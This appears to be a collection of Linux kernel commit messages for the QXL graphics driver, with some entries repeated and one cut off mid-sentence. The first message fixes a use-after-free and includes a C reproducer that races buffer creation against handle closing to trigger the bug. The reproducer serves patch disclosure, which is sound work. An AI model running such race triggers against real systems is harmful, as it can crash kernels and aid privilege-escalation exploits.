drm/qxl: fix UAF on handle creation
qxl_mode_dumb_create() dereferences the qobj returned by
qxl_gem_object_create_with_handle(), but the handle is the only one
holding a reference to it.
A potential attacker could guess the returned handle value and closes it
between the return of qxl_gem_object_create_with_handle() and the qobj
usage, triggering a use-after-free scenario.
Reproducer:
int dri_fd =-1;
struct drm_mode_create_dumb arg = {0};
void gem_close(int handle);
void* trigger(void* ptr)
{
int ret;
arg.width = arg.height = 0x20;
arg.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &arg);
if(ret)
{
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
gem_close(arg.handle);
while(1) {
struct drm_mode_create_dumb args = {0};
args.width = args.height = 0x20;
args.bpp = 32;
ret = ioctl(dri_fd, DRM_IOCTL_MODE_CREATE_DUMB, &args);
if (ret) {
perror("[*] DRM_IOCTL_MODE_CREATE_DUMB Failed");
exit(-1);
}
printf("[*] DRM_IOCTL_MODE_CREATE_DUMB created, %d\n", args.handle);
gem_close(args.handle);
}
return NULL;
}
void gem_close(int handle)
{
struct drm_gem_close args;
args.handle = handle;
int ret = ioctl(dri_fd, DRM_IOCTL_GEM_CLOSE, &args); // gem close handle
if (!ret)
printf("gem close handle %d\n", args.handle);
}
int main(void)
{
dri_fd= open("/dev/dri/card0", O_RDWR);
printf("fd:%d\n", dri_fd);
if(dri_fd == -1)
return -1;
pthread_t tid1;
if(pthread_create(&tid1,NULL,trigger,NULL)){
perror("[*] thread_create tid1\n");
return -1;
}
while (1)
{
gem_close(arg.handle);
}
return 0;

Disabling lock debugging due to kernel taint
Instead of returning a weak reference to the qxl_bo object, return the
created drm_gem_object and let the caller decrement the reference count
when it no longer needs it. As a convenience, if the caller is not
interested in the gobj object, it can pass NULL to the parameter and the
reference counting is descremented internally.
The bug and the reproducer were originally found by the Zero Day Initiative project (ZDI-CAN-20940).

drm/qxl: remove _unlocked suffix in drm_gem_object_put_unlocked
Spelling out _unlocked for each and every driver is a annoying.
Especially if we consider how many drivers, do not know (or need to)
about the horror stories involving struct_mutex.
Just drop the suffix. It makes the API cleaner.
Done via the following script:
__from=drm_gem_object_put_unlocked
__to=drm_gem_object_put
for __file in $(git grep --name-only $__from); do
sed -i "s/$__from/$__to/g" $__file;
done

qxl: alloc & use shadow for dumb buffers
This patch changes the way the primary surface is used for dumb
framebuffers. Instead of configuring the bo itself as primary surface
a shadow bo is created and used instead. Framebuffers can share the
shadow bo in case they have the same format and resolution.
On atomic plane updates we don't have to update the primary surface in
case we pageflip from one framebuffer to another framebuffer which
shares the same shadow. This in turn avoids the flicker caused by the
primary-destroy + primary-create cycle, which is very annonying when
running wayland on qxl.
The qxl driver never actually writes to the shadow bo. It sends qxl
blit commands which update it though, and the spice server might
actually execute them (and thereby write to the shadow) in case the
local rendering is kicked for some reason. This happens for example in
case qemu is asked to write out a dump of the guest display (screendump
monitor command).

All the gem based kms drivers really want the same function to

So give it to them and roll it out in all drivers.
This still leaves the option open for kms drivers which don't use GEM
for backing storage, but it does decently simplify matters for gem
drivers.

drm: add new QXL driver. (v1.4)
QXL is a paravirtual graphics device used by the Spice virtual desktop
interface.
The drivers uses GEM and TTM to manage memory, the qxl hw fencing however
is quite different than normal TTM expects, we have to keep track of a number
of non-linear fence ids per bo that we need to have released by the hardware.
The releases are freed from a workqueue that wakes up and processes the
release ring.
releases are suballocated from a BO, there are 3 release categories, drawables,
surfaces and cursor cmds. The hw also has 3 rings for commands, cursor and release handling.
The hardware also have a surface id tracking mechnaism and the driver encapsulates it completely inside the kernel, userspace never sees the actual hw surface
ids.
This requires a newer version of the QXL userspace driver, so shouldn't be
enabled until that has been placed into your distro of choice.
Authors: Dave Airlie, Alon Levy
v1.1: fixup some issues in the ioctl interface with padding
v1.2: add module device table
v1.3: fix nomodeset, fbcon leak, dumb bo create, release ring irq,
don't try flush release ring (broken hw), fix -modesetting.
v1.4: fbcon cpu usage reduction + suitable accel flags.

drm/qxl: remove _unlocked suffix in drm_gem_object_put_unlocked
Spelling out _unlocked for each and every driver is a annoying.
Especially if we consider how many drivers, do not know (or need to)
about the horror stories involving struct_mutex.
Just drop the suffix. It makes the API cleaner.
Done via the following script:
__from=drm_gem_object_put_unlocked
__to=drm_gem_object_put
for __file in $(git grep --name-only $__from); do
sed -i "s/$__from/$__to/g" $__file;
done

qxl: alloc & use shadow for dumb buffers
This patch changes the way the primary surface is used for dumb
framebuffers. Instead of configuring the bo itself as primary surface
a shadow bo is created and used instead. Framebuffers can share the
shadow bo in case they have the same format and resolution.
On atomic plane updates we don't have to update the primary surface in
case we pageflip from one framebuffer to another framebuffer which
shares the same shadow. This in turn avoids the flicker caused by the
primary-destroy + primary-create cycle, which is very annonying when
running wayland on qxl.
The qxl driver never actually writes to the shadow bo. It sends qxl
blit commands which update it though, and the spice server might
actually execute them (and thereby write to the shadow) in case the
local rendering is kicked for some reason. This happens for example in
case qemu is asked to write out a dump of the guest display (screendump
monitor command).

drm/gem: create drm_gem_dumb_destroy
All the gem based kms drivers really want the same function to
destroy a dumb framebuffer backing storage object.
So give it to them and roll it out in all drivers.
This still leaves the option open for kms drivers which don't use GEM
for backing storage, but it does decently simplify matters for gem
drivers.
